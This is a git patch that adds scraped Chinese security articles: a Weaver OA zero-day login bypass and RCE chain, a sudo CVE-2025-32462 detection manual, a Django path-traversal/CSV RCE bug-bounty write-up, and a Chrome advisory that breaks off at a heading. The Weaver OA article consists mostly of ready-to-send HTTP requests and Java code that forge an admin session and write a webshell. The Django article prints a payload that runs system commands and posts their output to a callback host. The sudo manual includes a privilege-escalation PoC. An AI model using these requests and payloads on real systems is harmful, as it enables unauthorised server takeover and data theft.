From fa4755998d2ba81b54df801befbf7d298f44b0bb Mon Sep 17 00:00:00 2001 From: test Date: Wed, 2 Jul 2025 01:41:29 +0000 Subject: [PATCH] =?UTF-8?q?=E9=9B=B7=E7=A5=9E=E4=BC=97=E6=B5=8B=E6=BC=8F?= =?UTF-8?q?=E6=B4=9E=E5=91=A8=E6=8A=A52025.6.23-2025.6.29=E3=80=81?= =?UTF-8?q?=E8=B0=B7=E6=AD=8C=E7=B4=A7=E6=80=A5=E4=BF=AE=E5=A4=8D=E5=B7=B2?= =?UTF-8?q?=E8=A2=AB=E5=88=A9=E7=94=A8=E7=9A=84Chrome=E9=AB=98=E5=8D=B1?= =?UTF-8?q?=E9=9B=B6=E6=97=A5=E6=BC=8F=E6=B4=9E=E3=80=81=E6=82=9F=E7=A9=BA?= =?UTF-8?q?Agent=E5=AE=9E=E6=88=98=EF=BC=9ALLaMA-Factory=E9=AB=98=E5=8D=B1?= =?UTF-8?q?0day=E6=BC=8F=E6=B4=9E=E6=8C=96=E6=8E=98=E4=B8=8E=E4=BF=AE?= =?UTF-8?q?=E5=A4=8D=E3=80=81=E5=A6=82=E4=BD=95=E5=9C=A8=20Django=20?= =?UTF-8?q?=E5=BA=94=E7=94=A8=E7=A8=8B=E5=BA=8F=E4=B8=AD=E9=93=BE=E6=8E=A5?= =?UTF-8?q?=E7=9B=AE=E5=BD=95=E9=81=8D=E5=8E=86=E5=92=8C=20CSV=20=E8=A7=A3?= =?UTF-8?q?=E6=9E=90=E5=99=A8=E6=BB=A5=E7=94=A8=E4=BB=A5=E8=BF=9B=E8=A1=8C?= =?UTF-8?q?=20RCE=E3=80=81=E3=80=90=E5=BF=85=E6=9F=A5=E6=BC=8F=E6=B4=9E?= =?UTF-8?q?=E3=80=91Sudo=20Host=5FAlias=20=E6=9D=83=E9=99=90=E6=8F=90?= =?UTF-8?q?=E5=8D=87=E6=BC=8F=E6=B4=9E=20(CVE-2025-32462)=20=E6=A3=80?= =?UTF-8?q?=E6=B5=8B=E6=89=8B=E5=86=8C=E3=80=81=E3=80=900day=E3=80=91?= =?UTF-8?q?=E6=B3=9B=E5=BE=AEOA=E5=89=8D=E5=8F=B0=E7=99=BB=E5=BD=95?= =?UTF-8?q?=E7=BB=95=E8=BF=87+=E5=90=8E=E5=8F=B0=E7=BB=84=E5=90=88?= =?UTF-8?q?=E6=8B=B3RCE=E3=80=81?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- data.json | 8 +- ...OA前台登录绕过+后台组合拳RCE.md | 89 ++++++++++ ...升漏洞 (CVE-2025-32462) 检测手册.md | 112 ++++++++++++ ...历和 CSV 解析器滥用以进行 RCE.md | 140 +++++++++++++++ ...-Factory高危0day漏洞挖掘与修复.md | 11 +- ...已被利用的Chrome高危零日漏洞.md | 60 +++++++ ...众测漏洞周报2025.6.23-2025.6.29.md | 168 ++++++++++++++++++ 7 files changed, 580 insertions(+), 8 deletions(-) create mode 100644 doc/2025-07/【0day】泛微OA前台登录绕过+后台组合拳RCE.md create mode 100644 doc/2025-07/【必查漏洞】Sudo Host_Alias 权限提升漏洞 (CVE-2025-32462) 检测手册.md create mode 100644 doc/2025-07/如何在 Django 应用程序中链接目录遍历和 CSV 解析器滥用以进行 RCE.md create mode 100644 doc/2025-07/谷歌紧急修复已被利用的Chrome高危零日漏洞.md create mode 100644 doc/2025-07/雷神众测漏洞周报2025.6.23-2025.6.29.md diff --git a/data.json b/data.json index c5895ea4..0ed80600 100644 --- a/data.json +++ b/data.json @@ -15730,5 +15730,11 @@ "https://mp.weixin.qq.com/s?__biz=MzU5NDgxODU1MQ==&mid=2247503538&idx=1&sn=5439ec7c9b1446ac237be77feab8fcd0": "【已复现】WinRAR 目录穿越漏洞(CVE-2025-6218)安全风险通告", "https://mp.weixin.qq.com/s?__biz=MzUyOTc3NTQ5MA==&mid=2247499979&idx=1&sn=e62c7b512a2e3f57f702c815e19235da": "实战级权限维持，从配置到命令执行一键部署 ViewState WebShell", "https://mp.weixin.qq.com/s?__biz=MzU4NDY3MTk2NQ==&mid=2247491736&idx=1&sn=c058b634e9bf320f603b91d1de78ff2a": "Chrome在野CVE-2025-6554漏洞poc公布", - "https://mp.weixin.qq.com/s?__biz=MzAxODM5ODQzNQ==&mid=2247489170&idx=1&sn=3748f66988afa0fa303cbba4baa2bc5a": "漏洞通告：Sudo chroot 权限提升漏洞（Elevation of Privilege）" + "https://mp.weixin.qq.com/s?__biz=MzAxODM5ODQzNQ==&mid=2247489170&idx=1&sn=3748f66988afa0fa303cbba4baa2bc5a": "漏洞通告：Sudo chroot 权限提升漏洞（Elevation of Privilege）", + "https://mp.weixin.qq.com/s?__biz=MzI0NzEwOTM0MA==&mid=2652503447&idx=1&sn=2a7f45d6621139fb1c9bb7364fe7dce5": "雷神众测漏洞周报2025.6.23-2025.6.29", + "https://mp.weixin.qq.com/s?__biz=MjM5NjA0NjgyMA==&mid=2651324079&idx=3&sn=23330a41d753210c404f022f9a91115e": "谷歌紧急修复已被利用的Chrome高危零日漏洞", + "https://mp.weixin.qq.com/s?__biz=MjM5NzE1NjA0MQ==&mid=2651207230&idx=1&sn=be1b2877b624966bf5393397469e9f94": "悟空Agent实战：LLaMA-Factory高危0day漏洞挖掘与修复", + "https://mp.weixin.qq.com/s?__biz=MzAxMjYyMzkwOA==&mid=2247531505&idx=1&sn=ef6e5a16657ad393b2f33a8fd5a20296": "如何在 Django 应用程序中链接目录遍历和 CSV 解析器滥用以进行 RCE", + "https://mp.weixin.qq.com/s?__biz=MzIwNDYwMDcyNQ==&mid=2247489022&idx=1&sn=69b96ddf5e6b92e1c401efa186d2f1f4": "【必查漏洞】Sudo Host_Alias 权限提升漏洞 (CVE-2025-32462) 检测手册", + "https://mp.weixin.qq.com/s?__biz=Mzg4MTkwMTI5Mw==&mid=2247490104&idx=1&sn=bfc287009021abce228aa120eb7673cc": "【0day】泛微OA前台登录绕过+后台组合拳RCE" } \ No newline at end of file diff --git a/doc/2025-07/【0day】泛微OA前台登录绕过+后台组合拳RCE.md b/doc/2025-07/【0day】泛微OA前台登录绕过+后台组合拳RCE.md new file mode 100644 index 00000000..3d1aacef --- /dev/null +++ b/doc/2025-07/【0day】泛微OA前台登录绕过+后台组合拳RCE.md @@ -0,0 +1,89 @@ +# 【0day】泛微OA前台登录绕过+后台组合拳RCE +原创 XingYue404 星悦安全 2025-07-01 11:38 + +![图片](https://mmbiz.qpic.cn/sz_mmbiz_jpg/lSQtsngIibibSOeF8DNKNAC3a6kgvhmWqvoQdibCCk028HCpd5q1pEeFjIhicyia0IcY7f2G9fpqaUm6ATDQuZZ05yw/640?wx_fmt=other&from=appmsg&wxfrom=5&wx_lazy=1&wx_co=1&tp=webp "") + +点击上方 +蓝字 +关注我们 并设为 +星标 +## 0x01 登录绕过 +### 利用/dwr/call接口读取加密key + +``` +POST /dwr/call/plaincall/?callCount=1&c0-id=1&c0-scriptName=WorkflowSubwfSetUtil&c0-methodName=LoadTemplateProp&batchId=a&c0-param0=string:mobilemode&scriptSessionId=1&a=.swf HTTP/1.1Host: xxx:xxxxUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Upgrade-Insecure-Requests: 1 +``` + + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/uicic8KPZnD5ceGLwibV7eibnrbLN1s9VOtTUMFUFw5wm7jEQPWogeciaf1KLHCTIGRUiaAeyDOQmIhQIrqMQ5JjyZ0A/640?wx_fmt=other&from=appmsg "") + +其中security.key为 5f2f28dd-db4a-45 +### 调用aes加密函数 + +``` +import java.security.SecureRandom;import javax.crypto.Cipher;import javax.crypto.KeyGenerator;import javax.crypto.spec.SecretKeySpec;import javax.xml.bind.DatatypeConverter;publicclass Main {    public static String encrypt(String str, String str2) {        try {            KeyGenerator keyGenerator = KeyGenerator.getInstance("AES");            SecureRandom secureRandom = SecureRandom.getInstance("SHA1PRNG");            secureRandom.setSeed(str2.getBytes());            keyGenerator.init(128, secureRandom);            SecretKeySpec secretKeySpec = new SecretKeySpec(keyGenerator.generateKey().getEncoded(), "AES");            Cipher cipher = Cipher.getInstance("AES");            cipher.init(1, secretKeySpec);            return DatatypeConverter.printHexBinary(cipher.doFinal(str.getBytes()));        } catch (Exception e) {            e.printStackTrace();            return"";        }    }    public static void main(String[] args) {        System.out.println(encrypt("1;1;"+System.currentTimeMillis(),"5f2f28dd-db4a-45"));    }} +``` + + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/uicic8KPZnD5ceGLwibV7eibnrbLN1s9VOtTmMywj3iayQJ2T19WpBv1vMxXicuLMSnB8INMG1iaK11gEdxovtcCorDicw/640?wx_fmt=other&from=appmsg "") + +获取到密钥，即为下面需要用到的mToken + +### 获取sessionKey + +``` +GET /mobilemode/mobile/server.jsp?invoker=com.api.mobilemode.web.mobile.service.MobileEntranceAction&action=meta&appid=1&appHomepageId=1&mTokenFrom=QRCode&mToken=BAAD7750912407C15FBC7CA2BDA4BDDDAEACE215E26BB871CE8D171028A66A70&_ec_ismobile=true&timeZoneOffset=&a=.swf HTTP/1.1Host: xxxx:xxxxUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Upgrade-Insecure-Requests: 1 +``` + +### + +获取到sysadmin 的sessionKey +### 登录后台 + +将sessionKey转换为ecology_JSessionid即可登录后台 + +``` +GET /weaver/ImgFileDownload/a.swf?sessionkey=b20e3665-d8a8-403d-a041-0c5883626da4&a=.swf HTTP/1.1Host: xxxx:xxxxUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Upgrade-Insecure-Requests: 1 +``` + +### +### +## 0x02 后台RCE +### 添加方法 + +``` +POST /interface/outter/outter_encryptclassOperation.jsp?a=1.swf HTTP/1.1Host: xxxx:xxxIf-None-Match: "6evu6PUo/Cz"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflateIf-Modified-Since: Thu, 23 Jun 2022 11:04:04 GMTContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryVnIIuCache-Control: max-age=0Upgrade-Insecure-Requests: 1Accept-Language: zh-CN,zh;q=0.9Cookie: ecology_JSessionid=aaa_db33mBm_EaOGEO8bz; __randcode__=b7e3d245-5b6b-44ba-b06b-f4b5592d68dc------WebKitFormBoundaryVnIIugCdViAmEyK3Content-Disposition: form-data; name="operation"add------WebKitFormBoundaryVnIIugCdViAmEyK3Content-Disposition: form-data; name="encryptname"ttttaaa------WebKitFormBoundaryVnIIugCdViAmEyK3Content-Disposition: form-data; name="encryptclass"org.mvel2.sh.ShellSession------WebKitFormBoundaryVnIIugCdViAmEyK3Content-Disposition: form-data; name="encryptmethod"exec------WebKitFormBoundaryVnIIugCdViAmEyK3Content-Disposition: form-data; name="decryptmethod"exec------WebKitFormBoundaryVnIIugCdViAmEyK3Content-Disposition: form-data; name="isdialog"0------WebKitFormBoundaryVnIIugCdViAmEyK3Content-Disposition: form-data; name="x"; filename="x"x------WebKitFormBoundaryVnIIugCdViAmEyK3-- +``` + +### +### 查看添加的ID + +``` +POST /api/integration/Outter/getOutterSysEncryptClassOperates?a=1.swf HTTP/1.1Host: xxxx:xxxIf-None-Match: "6evu6PUo/Cz"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflateIf-Modified-Since: Thu, 23 Jun 2022 11:04:04 GMTContent-Type: application/x-www-form-urlencodedCache-Control: max-age=0Upgrade-Insecure-Requests: 1Accept-Language: zh-CN,zh;q=0.9Cookie: ecology_JSessionid=aaa_db33mBm_EaOGEO8bz; __randcode__=b7e3d245-5b6b-44ba-b06b-f4b5592d68dc +``` + +### + +此处ID为2 +### 直接执行java代码写shell + +``` +POST /interface/outter/outter_encryptclassOperation.jsp?a=1.swf HTTP/1.1Host: xxxx:xxxIf-None-Match: "6evu6PUo/Cz"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflateIf-Modified-Since: Thu, 23 Jun 2022 11:04:04 GMTContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryITdrxCache-Control: max-age=0Upgrade-Insecure-Requests: 1Accept-Language: zh-CN,zh;q=0.9Cookie: ecology_JSessionid=aaa_db33mBm_EaOGEO8bz; __randcode__=b7e3d245-5b6b-44ba-b06b-f4b5592d68dc------WebKitFormBoundaryITdrxxca8L1Xo7RqContent-Disposition: form-data; name="operation"test------WebKitFormBoundaryITdrxxca8L1Xo7RqContent-Disposition: form-data; name="plaintext"马子------WebKitFormBoundaryITdrxxca8L1Xo7RqContent-Disposition: form-data; name="id"2------WebKitFormBoundaryITdrxxca8L1Xo7RqContent-Disposition: form-data; name="x"; filename="x"1------WebKitFormBoundaryITdrxxca8L1Xo7Rq-- +``` + +### + +写入进 /getaddr.jsp +## 0x03 关注公众号 + +**标签:代码审计，0day，渗透测试，系统，通用，0day，闲鱼，交易所** + +**关注公众号，持续更新漏洞文章!** + +**** + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/uicic8KPZnD5ceGLwibV7eibnrbLN1s9VOtT4NX6MHrjbWnvSExFrJ1gIXIquQhUx0besS8XoGU1l7vWDs0icUic3l2g/640?wx_fmt=jpeg&from=appmsg "") + +**** +**免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，文章作者和本公众号不承担任何法律及连带责任，望周知！！!** + diff --git a/doc/2025-07/【必查漏洞】Sudo Host_Alias 权限提升漏洞 (CVE-2025-32462) 检测手册.md b/doc/2025-07/【必查漏洞】Sudo Host_Alias 权限提升漏洞 (CVE-2025-32462) 检测手册.md new file mode 100644 index 00000000..7131bafc --- /dev/null +++ b/doc/2025-07/【必查漏洞】Sudo Host_Alias 权限提升漏洞 (CVE-2025-32462) 检测手册.md @@ -0,0 +1,112 @@ +# 【必查漏洞】Sudo Host_Alias 权限提升漏洞 (CVE-2025-32462) 检测手册 + 安全狐 2025-07-01 15:45 + +# CVE-2025-32462 检测与修复手册 + +**漏洞名称** +：Sudo Host_Alias 权限提升漏洞**影响版本** +：Sudo 1.8.8 ~ 1.9.17 +## 1. 漏洞概述 +### 漏洞描述 + +攻击者可通过滥用 Host_Alias + 配置中的通配符或未验证主机名，结合 sudo -h + 参数绕过权限限制，以 root + 身份执行任意命令。 +### 漏洞原理 +- **错误逻辑** +：Sudo 在验证 Host_Alias + 时未严格检查主机名真实性。 + +- **利用条件** +： + +- sudoers + 文件中存在宽松的 Host_Alias +（如 * + 或动态主机名）。 + +- 用户权限配置包含 NOPASSWD + 或 ALL + 权限。 + +### 受影响版本 + +✅ **Sudo 1.8.8 至 1.9.17** + +❌ **已修复版本** +：≥1.9.17p1 +## 2. 检测方法 +### 2.1 确认 Sudo 版本 +``` +sudo --version | head -n 1 +``` + +**风险判定** +： +- 输出为 1.8.8 + 至 1.9.17 + → **存在漏洞** + +### 2.2 检查危险配置 +``` +# 搜索所有 Host_Alias 定义grep -r "Host_Alias" /etc/sudoers /etc/sudoers.d/ 2>/dev/null | grep -v "^#"# 检查关联权限规则grep -r -A5 "Host_Alias" /etc/sudoers /etc/sudoers.d/ 2>/dev/null | grep -v "^#" +``` + +**危险特征** +： +- 使用通配符（如 Host_Alias ALLOWED_HOSTS = * +） + +- 绑定宽松权限（如 %admin ALLOWED_HOSTS = (ALL) NOPASSWD: ALL +） + +### 2.3 漏洞验证（PoC） +``` +# 测试命令（需普通用户权限）sudo -h nonexistenthost id +``` + +**预期结果** +： +- 返回 uid=0(root) + → **漏洞存在** + +- 返回权限错误 → 可能已修复 + +## 3. 修复方案 +### 3.1 升级 Sudo +``` +# Ubuntu/Debiansudo apt update && sudo apt install sudo=1.9.17p1-1# CentOS/RHELsudo yum update sudo-1.9.17p1 +``` +### 3.2 修改危险配置 +``` +sudo visudo +``` + +**修复建议** +： +1. 删除或注释所有含通配符的 Host_Alias +：``` +# 原危险配置Host_Alias ALLOWED_HOSTS = *%admin ALLOWED_HOSTS = (ALL) NOPASSWD: ALL# 修复后（限制具体主机）Host_Alias SAFE_HOSTS = admin01,backup01%admin SAFE_HOSTS = (ALL) /usr/bin/apt +``` + + +1. 避免使用 NOPASSWD +，改为密码验证。 + +### 3.3 临时缓解措施 +``` +# 禁用所有 Host_Alias 规则（紧急情况下）sudo sed -i '/Host_Alias/d' /etc/sudoers /etc/sudoers.d/* +``` +## 4. 监控与审计 +### 4.1 日志监控 +``` +# 检查异常 sudo -h 使用记录grep "sudo -h" /var/log/auth.log /var/log/secure +``` +### 4.2 定期扫描 +``` +# 自动化检测脚本#!/bin/bashVERSION=$(sudo --version | head -n1 | awk '{print $3}')if [[ "$VERSION" > "1.8.8" && "$VERSION" < "1.9.17" ]]; then  echo "⚠️  Vulnerable Sudo version: $VERSION"  grep -r "Host_Alias" /etc/sudoers* | grep -v "^#"else  echo "✅  Safe Sudo version: $VERSION"fi +``` +## 5. 附录CVE-2025-32463 漏洞详情：https://www.stratascale.com/vulnerability-alert-CVE-2025-32462-sudo-host注意：本手册仅供安全研究人员和系统管理员参考，未经授权禁止在真实环境中测试漏洞。 + + diff --git a/doc/2025-07/如何在 Django 应用程序中链接目录遍历和 CSV 解析器滥用以进行 RCE.md b/doc/2025-07/如何在 Django 应用程序中链接目录遍历和 CSV 解析器滥用以进行 RCE.md new file mode 100644 index 00000000..07dfaa15 --- /dev/null +++ b/doc/2025-07/如何在 Django 应用程序中链接目录遍历和 CSV 解析器滥用以进行 RCE.md @@ -0,0 +1,140 @@ +# 如何在 Django 应用程序中链接目录遍历和 CSV 解析器滥用以进行 RCE + Ots安全 2025-07-01 13:14 + +![](https://mmbiz.qpic.cn/mmbiz_gif/bL2iaicTYdZn7gtxSFZlfuCW6AdQib8Q1onbR0U2h9icP1eRO6wH0AcyJmqZ7USD0uOYncCYIH7ZEE8IicAOPxyb9IA/640?wx_fmt=gif "") + +在测试一个 Web 应用程序（作为漏洞赏金计划的一部分）时，我发现了一个严重的 RCE 漏洞，该漏洞利用了目录遍历和巧妙的 CSV 解析滥用。该漏洞利用链结合了目录遍历和巧妙地滥用应用程序使用pandasCSV 解析器的方式，最终允许我覆盖wsgi.py文件并在服务器端执行任意代码。 + +应用程序行为 + +存在漏洞的端点允许用户上传 CSV 文件，使用 处理它们pandas，并将结果保存到磁盘。目标函数如下所示： + +``` +username = request.data.get("username")        upload_file = request.FILES.get("csv_file")        temp_path = f"/tmp/{upload_file.name}"        with open(temp_path, "wb") as out_file:            for chunk in upload_file.chunks():                out_file.write(chunk)        # Parse uploaded CSV        df = pandas.read_csv(temp_path)        # Determine output path        base_dir = Path(__file__).resolve().parent.parent        save_dir = os.path.join(base_dir, "data_store", username)        os.makedirs(save_dir, exist_ok=True)        final_path = os.path.join(save_dir, upload_file.name)        if os.path.exists(final_path):            os.remove(final_path)        df.to_csv(final_path, index=False, encoding="utf-8")        return Response({"status": "success"}, status=200)    except Exception ase:        return Response({"error": str(e)}, status=500) +``` + + +这里有两个关键的观察结果： +- 该username字段直接用于文件系统路径，无需清理。 + +- 往返发生在保存文件之前pandas.read_csv()。df.to_csv() + +这种设置使得制作劫持文件写入位置并在系统上执行代码的有效载荷成为可能。 + +从路径遍历到文件覆盖 + +该username字段是受信任的，并用于构建类似 的路径data_store//file.csv。我只需提交如下值： + +``` +../../../../../../app/backend/backend/ +``` + + +结果，应用程序将我上传的文件写入： + +``` +/app/backend/backend/file.csv +``` + + +通过 CSV 构建有效的 Payload + +难点在于如何将代码导入wsgi.py而不引发语法错误。应用会用 解析文件pandas.read_csv()，然后用 重新序列化to_csv()。这意味着我上传的文件在导入之前会被重写wsgi.py。 + +以下是具体pandas.to_csv()操作： +- 默认写入标题。 + +- 用逗号填充行以匹配最大列数。 + +- 将每个单元格值写为字符串，并可能引用它。 + +所以我需要我的有效载荷： +1. 避免在 CSV 解析过程中出现混乱。 + +1. 添加额外的逗号后仍然是有效的 Python。 + +诀窍是使用 把我的恶意代码行放在注释中#。这并不能对 Pandas 隐藏它——它会像解析其他行一样解析它——但可以确保to_csv()在文件运行时，Python 会忽略由 添加的任何尾随垃圾代码。Python 会忽略#一行中 a 之后的所有内容，因此即使 a 后面pandas.to_csv()添加了多余的逗号或空格，它们也会被视为注释的一部分并被解释器丢弃。 + +以下是嵌入在看似无害的 CSV 中的实际有效载荷行： + +``` +# VALID CSV DATAimport os,requests;from django.core.wsgi import get_wsgi_application;os.environ.setdefault('DJANGO_SETTINGS_MODULE','backend.settings');r=os.popen('whoami&&id&&hostname').read();requests.post('',data={'r':r});application = get_wsgi_application();,,,,, +``` + + +经过pandas的处理之后，在Python看来它仍然像是一行注释，但里面却包含足够的真实逻辑来实现代码执行和重新分配application，满足了Django的期望。 + +选择正确的代码执行目标 + +在这个阶段，文件覆盖正在起作用——但要将其升级到 RCE，我需要找到一个应用程序在修改后会自动加载或执行的文件，因为我无法直接手动调用被覆盖的文件。这意味着我需要找到一个 Django 会在访问时隐式重新导入或重新运行的服务器端脚本。于是，我找到了wsgi.py…… + +为什么是 wsgi.py？ + +根据WSGI 规范，该wsgi.py文件用于公开一个名为的可调用函数application，作为 Web 服务器与 Python 应用交互的入口点。在 Django 中，通常使用以下方式完成此操作： + +``` +from django.core.wsgi import get_wsgi_applicationapplication = get_wsgi_application() +``` + + +在测试过程中，一条冗长的错误消息泄露了项目的文件结构。回溯中包含如下路径： + +``` +/app/backend/backend/ +``` + + +这种嵌套布局正是使用 - 创建 Django 应用程序时所获得的，django-admin startproject backend其中外层backend/是项目根，内层包含设置wsgi.py、和其他核心文件。 + +这简直就是wsgi.py完美的目标。我无法运行任意文件，只能覆盖它们——所以我需要一些服务器可以自行执行的代码。Django 的开发服务器会监视wsgi.py更改，并在修改时自动重新加载。这意味着只需触碰文件即可触发执行。通过将我的有效载荷放在 Python 注释中，并以一行空application = get_wsgi_application()行结尾，我保留了 Django 预期的结构，同时实现了远程代码执行。 + +最终漏洞利用请求 + +以下是用于实现覆盖的修剪后的 HTTP 请求： + +``` +POST/api/endpoint HTTP/1.1Host: target.urlContent-Type: multipart/form-data; boundary=---------------------------boundaryCookie: session=...-----------------------------boundaryContent-Disposition: form-data; name="fleet_csv"; filename="wsgi.py"Content-Type: text/csv# VALID CSV DATAimport os,requests;from django.core.wsgi import get_wsgi_application;os.environ.setdefault('DJANGO_SETTINGS_MODULE','backend.settings');r=os.popen('whoami&&id&&hostname').read();requests.post('',data={'r':r});application = get_wsgi_application();,,,,,-----------------------------boundaryContent-Disposition: form-data; name="report_date"2025-01-01-----------------------------boundaryContent-Disposition: form-data; name="username"../../../../../../app/backend/backend/-----------------------------boundary-- +``` + + +响应确认成功： + +``` +{"status": "success"} +``` + + +几秒钟后，我的服务器收到了带有命令输出的回调。 + +结论 + +此次漏洞利用的可能原因如下： +- 文件系统路径中用户输入的使用未经净化。 + +- 使用不安全的文件解析和重写pandas。 + +- Django 在调试模式下的自动重新加载行为。 + +通过组合这些行为，我能够从基本的文件上传到服务器上的完整 RCE。这里真正的教训是，即使是像 CSV 解析这样看似无害的操作，在错误的环境中也可能变得危险——尤其是在与文件系统访问和自动执行的服务器文件相结合时。 + + + + +感谢您抽出 + +![](https://mmbiz.qpic.cn/mmbiz_gif/Ljib4So7yuWgdSBqOibtgiaYWjL4pkRXwycNnFvFYVgXoExRy0gqCkqvrAghf8KPXnwQaYq77HMsjcVka7kPcBDQw/640?wx_fmt=gif "") + +. + +![](https://mmbiz.qpic.cn/mmbiz_gif/Ljib4So7yuWgdSBqOibtgiaYWjL4pkRXwycd5KMTutPwNWA97H5MPISWXLTXp0ibK5LXCBAXX388gY0ibXhWOxoEKBA/640?wx_fmt=gif "") + +. + +![](https://mmbiz.qpic.cn/mmbiz_gif/Ljib4So7yuWgdSBqOibtgiaYWjL4pkRXwycU99fZEhvngeeAhFOvhTibttSplYbBpeeLZGgZt41El4icmrBibojkvLNw/640?wx_fmt=gif "") + +来阅读本文 + +![](https://mmbiz.qpic.cn/mmbiz_gif/Ljib4So7yuWge7Mibiad1tV0iaF8zSD5gzicbxDmfZCEL7vuOevN97CwUoUM5MLeKWibWlibSMwbpJ28lVg1yj1rQflyQ/640?wx_fmt=gif "") + +**点它，分享点赞在看都在这里** + diff --git a/doc/2025-07/悟空Agent实战：LLaMA-Factory高危0day漏洞挖掘与修复.md b/doc/2025-07/悟空Agent实战：LLaMA-Factory高危0day漏洞挖掘与修复.md index 9aa03eab..b8006268 100644 --- a/doc/2025-07/悟空Agent实战：LLaMA-Factory高危0day漏洞挖掘与修复.md +++ b/doc/2025-07/悟空Agent实战：LLaMA-Factory高危0day漏洞挖掘与修复.md @@ -1,5 +1,5 @@ # 悟空Agent实战：LLaMA-Factory高危0day漏洞挖掘与修复 -原创 腾讯悟空团队 腾讯技术工程 2025-07-01 09:38 + 腾讯安全应急响应中心 2025-07-01 10:05 ![图片](https://mmbiz.qpic.cn/sz_mmbiz_gif/j3gficicyOvasVeMDmWoZ2zyN8iaSc6XWYj79H3xfgvsqK9TDxOBlcUa6W0EE5KBdxacd2Ql6QBmuhBJKIUS4PSZQ/640?wx_fmt=gif&from=appmsg&tp=webp&wxfrom=5&wx_lazy=1 "") @@ -14,8 +14,7 @@ day ### 一、LLaMA-Factory简介 -[LLaMA-Factory](https://www.llamafactory.cn/) - +LLaMA-Factory 是一个功能强大且用户友好的开源框架，在 GitHub 上斩获了超过 53K Stars，专注于大语言模型（LLM）的高效微调（Fine-tuning）。凭借其易用性和灵活性，LLaMA-Factory 已成为许多开发者和研究团队进行模型训练与部署的首选工具。 ![](https://mmbiz.qpic.cn/sz_mmbiz_png/j3gficicyOvav75ZsABYYfS0icVlXoticev6A5fibBGiakicy7gp8hPqIjBqhibt9zLJhSOGe4xrGGJTDChuXxMswE1TRA/640?wx_fmt=png&from=appmsg "") @@ -109,8 +108,7 @@ AI Agent （图： -[Github官方项目Security公告](https://github.com/hiyouga/LLaMA-Factory/security/advisories/GHSA-xj56-p8mm-qmxj) - +Github官方项目Security公告 ） ## 修复方案： @@ -132,8 +130,7 @@ weights_only=True ▲  -[关键补丁：启用PyTorch安全模式阻断反序列化攻击](https://github.com/hiyouga/LLaMA-Factory/commit/bb7bf51554d4ba8432333c35a5e3b52705955ede) - +关键补丁：启用PyTorch安全模式阻断反序列化攻击 ### 四、 技术分析 ## 漏洞摘要  diff --git a/doc/2025-07/谷歌紧急修复已被利用的Chrome高危零日漏洞.md b/doc/2025-07/谷歌紧急修复已被利用的Chrome高危零日漏洞.md new file mode 100644 index 00000000..11cb3826 --- /dev/null +++ b/doc/2025-07/谷歌紧急修复已被利用的Chrome高危零日漏洞.md @@ -0,0 +1,60 @@ +# 谷歌紧急修复已被利用的Chrome高危零日漏洞 + FreeBuf 2025-07-01 11:01 + +![](https://mmbiz.qpic.cn/mmbiz_gif/qq5rfBadR38jUokdlWSNlAjmEsO1rzv3srXShFRuTKBGDwkj4gvYy34iajd6zQiaKl77Wsy9mjC0xBCRg0YgDIWg/640?wx_fmt=gif "") + + +![](https://mmbiz.qpic.cn/mmbiz_jpg/qq5rfBadR3icgUvC6BMWGzibeXeQBrsXKkgLMUvq50uOOu24sLiaicyD2ibO4vHiaQH1wIiaKDlPyOibvrhfRGPCZpztXw/640?wx_fmt=jpeg&from=appmsg "") + + +谷歌在发现一个已被野外利用的高危零日漏洞（CVE-2025-6554）后，紧急为其Chrome浏览器的稳定版通道发布了更新。该漏洞被归类为V8 JavaScript引擎中的类型混淆漏洞，对Windows、macOS和Linux平台的用户构成严重威胁。 + + +**Part01** +## 漏洞详情 +### + +CVE-2025-6554是Chrome核心渲染引擎V8 JavaScript引擎中的类型混淆漏洞。该漏洞由谷歌威胁分析小组（TAG）的Clément Lecigne于2025年6月25日发现，攻击者可通过诱使浏览器错误解析内存类型来执行任意代码——这种利用方法通常用于实现远程代码执行（RCE）。 + + +**Part02** +### 风险等级 + + 